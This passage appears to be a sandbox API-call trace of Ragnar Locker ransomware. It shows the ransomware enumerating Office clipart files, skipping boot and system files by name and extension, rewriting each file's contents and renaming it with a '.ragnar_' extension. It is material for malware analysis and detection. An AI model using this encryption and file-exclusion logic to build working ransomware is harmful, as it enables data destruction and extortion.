GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf")) returned 0x20 [0082.343] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.343] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1564) returned 1 [0082.343] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x613, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.343] GetProcessHeap () returned 0x580000 [0082.343] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.343] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.344] VirtualAlloc (lpAddress=0x0, dwSize=0x61c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.345] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.345] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.345] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x61c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x61c, lpOverlapped=0x0) returned 1 [0082.345] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.345] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x61c, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.345] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x61c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x61c, lpOverlapped=0x0) returned 1 [0082.345] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x61c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.345] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.345] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x61c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.345] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.345] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.346] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.346] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.346] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.346] GetProcessHeap () returned 0x580000 [0082.346] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.346] CloseHandle (hObject=0xf4) returned 1 [0082.346] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF" [0082.346] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF.ragnar_FD7BD9FC" [0082.346] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.346] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1234, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02115_.WMF", cAlternateFileName="")) returned 1 [0082.347] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.347] lstrcpyW (in: lpString1=0x1eb62e, lpString2="FD02115_.WMF" | out: lpString1="FD02115_.WMF") returned="FD02115_.WMF" [0082.347] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned=".WMF" [0082.347] lstrcmpiW (lpString1="FD02115_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.347] lstrcmpiW (lpString1="FD02115_.WMF", lpString2="autorun.inf") returned 1 [0082.347] lstrcmpiW (lpString1="FD02115_.WMF", lpString2="boot.ini") returned 1 [0082.347] lstrcmpiW (lpString1="FD02115_.WMF", lpString2="bootfont.bin") returned 1 [0082.347] lstrcmpiW (lpString1="FD02115_.WMF", lpString2="bootsect.bak") returned 1 [0082.347] lstrcmpiW (lpString1="FD02115_.WMF", lpString2="bootmgr") returned 1 [0082.347] lstrcmpiW (lpString1="FD02115_.WMF", lpString2="bootmgr.efi") returned 1 [0082.347] lstrcmpiW (lpString1="FD02115_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.347] lstrcmpiW (lpString1="FD02115_.WMF", lpString2="desktop.ini") returned 1 [0082.347] lstrcmpiW (lpString1="FD02115_.WMF", lpString2="iconcache.db") returned -1 [0082.347] lstrcmpiW (lpString1="FD02115_.WMF", lpString2="ntldr") returned -1 [0082.347] lstrcmpiW (lpString1="FD02115_.WMF", lpString2="ntuser.dat") returned -1 [0082.347] lstrcmpiW (lpString1="FD02115_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.347] lstrcmpiW (lpString1="FD02115_.WMF", lpString2="ntuser.ini") returned -1 [0082.347] lstrcmpiW (lpString1="FD02115_.WMF", lpString2="thumbs.db") returned -1 [0082.347] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.347] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.347] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.347] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.347] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.347] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.347] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.347] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf")) returned 0x20 [0082.361] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.361] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4660) returned 1 [0082.361] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x122b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.361] GetProcessHeap () returned 0x580000 [0082.361] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.361] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.363] VirtualAlloc (lpAddress=0x0, dwSize=0x1234, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.363] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.363] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.363] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1234, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1234, lpOverlapped=0x0) returned 1 [0082.364] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.364] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1234, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.364] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1234, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1234, lpOverlapped=0x0) returned 1 [0082.365] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1234, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.365] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.365] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1234, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.365] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.365] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.365] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.365] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.365] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.365] GetProcessHeap () returned 0x580000 [0082.365] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.365] CloseHandle (hObject=0xf4) returned 1 [0082.365] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF" [0082.365] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF.ragnar_FD7BD9FC" [0082.365] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.366] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xf94, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02116_.WMF", cAlternateFileName="")) returned 1 [0082.366] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.366] lstrcpyW (in: lpString1=0x1eb62e, lpString2="FD02116_.WMF" | out: lpString1="FD02116_.WMF") returned="FD02116_.WMF" [0082.366] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned=".WMF" [0082.366] lstrcmpiW (lpString1="FD02116_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.366] lstrcmpiW (lpString1="FD02116_.WMF", lpString2="autorun.inf") returned 1 [0082.366] lstrcmpiW (lpString1="FD02116_.WMF", lpString2="boot.ini") returned 1 [0082.366] lstrcmpiW (lpString1="FD02116_.WMF", lpString2="bootfont.bin") returned 1 [0082.366] lstrcmpiW (lpString1="FD02116_.WMF", lpString2="bootsect.bak") returned 1 [0082.366] lstrcmpiW (lpString1="FD02116_.WMF", lpString2="bootmgr") returned 1 [0082.366] lstrcmpiW (lpString1="FD02116_.WMF", lpString2="bootmgr.efi") returned 1 [0082.366] lstrcmpiW (lpString1="FD02116_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.366] lstrcmpiW (lpString1="FD02116_.WMF", lpString2="desktop.ini") returned 1 [0082.366] lstrcmpiW (lpString1="FD02116_.WMF", lpString2="iconcache.db") returned -1 [0082.366] lstrcmpiW (lpString1="FD02116_.WMF", lpString2="ntldr") returned -1 [0082.366] lstrcmpiW (lpString1="FD02116_.WMF", lpString2="ntuser.dat") returned -1 [0082.366] lstrcmpiW (lpString1="FD02116_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.367] lstrcmpiW (lpString1="FD02116_.WMF", lpString2="ntuser.ini") returned -1 [0082.367] lstrcmpiW (lpString1="FD02116_.WMF", lpString2="thumbs.db") returned -1 [0082.367] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.367] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.367] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.367] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.367] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.367] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.367] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.367] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf")) returned 0x20 [0082.367] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.367] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3988) returned 1 [0082.367] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xf8b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.367] GetProcessHeap () returned 0x580000 [0082.367] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.367] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.369] VirtualAlloc (lpAddress=0x0, dwSize=0xf94, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.369] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.369] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.369] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xf94, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xf94, lpOverlapped=0x0) returned 1 [0082.369] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.369] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xf94, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.369] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xf94, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xf94, lpOverlapped=0x0) returned 1 [0082.369] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xf94, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.369] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.370] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xf94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.370] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.370] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.370] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.370] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.370] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.370] GetProcessHeap () returned 0x580000 [0082.370] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.370] CloseHandle (hObject=0xf4) returned 1 [0082.370] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF" [0082.370] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF.ragnar_FD7BD9FC" [0082.370] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.371] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02141_.WMF", cAlternateFileName="")) returned 1 [0082.371] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.371] lstrcpyW (in: lpString1=0x1eb62e, lpString2="FD02141_.WMF" | out: lpString1="FD02141_.WMF") returned="FD02141_.WMF" [0082.371] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned=".WMF" [0082.371] lstrcmpiW (lpString1="FD02141_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.371] lstrcmpiW (lpString1="FD02141_.WMF", lpString2="autorun.inf") returned 1 [0082.371] lstrcmpiW (lpString1="FD02141_.WMF", lpString2="boot.ini") returned 1 [0082.371] lstrcmpiW (lpString1="FD02141_.WMF", lpString2="bootfont.bin") returned 1 [0082.371] lstrcmpiW (lpString1="FD02141_.WMF", lpString2="bootsect.bak") returned 1 [0082.371] lstrcmpiW (lpString1="FD02141_.WMF", lpString2="bootmgr") returned 1 [0082.371] lstrcmpiW (lpString1="FD02141_.WMF", lpString2="bootmgr.efi") returned 1 [0082.371] lstrcmpiW (lpString1="FD02141_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.371] lstrcmpiW (lpString1="FD02141_.WMF", lpString2="desktop.ini") returned 1 [0082.371] lstrcmpiW (lpString1="FD02141_.WMF", lpString2="iconcache.db") returned -1 [0082.371] lstrcmpiW (lpString1="FD02141_.WMF", lpString2="ntldr") returned -1 [0082.371] lstrcmpiW (lpString1="FD02141_.WMF", lpString2="ntuser.dat") returned -1 [0082.371] lstrcmpiW (lpString1="FD02141_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.371] lstrcmpiW (lpString1="FD02141_.WMF", lpString2="ntuser.ini") returned -1 [0082.371] lstrcmpiW (lpString1="FD02141_.WMF", lpString2="thumbs.db") returned -1 [0082.371] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.371] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.371] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.371] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.371] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.371] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.371] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.371] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf")) returned 0x20 [0082.372] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.372] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2636) returned 1 [0082.372] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa43, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.372] GetProcessHeap () returned 0x580000 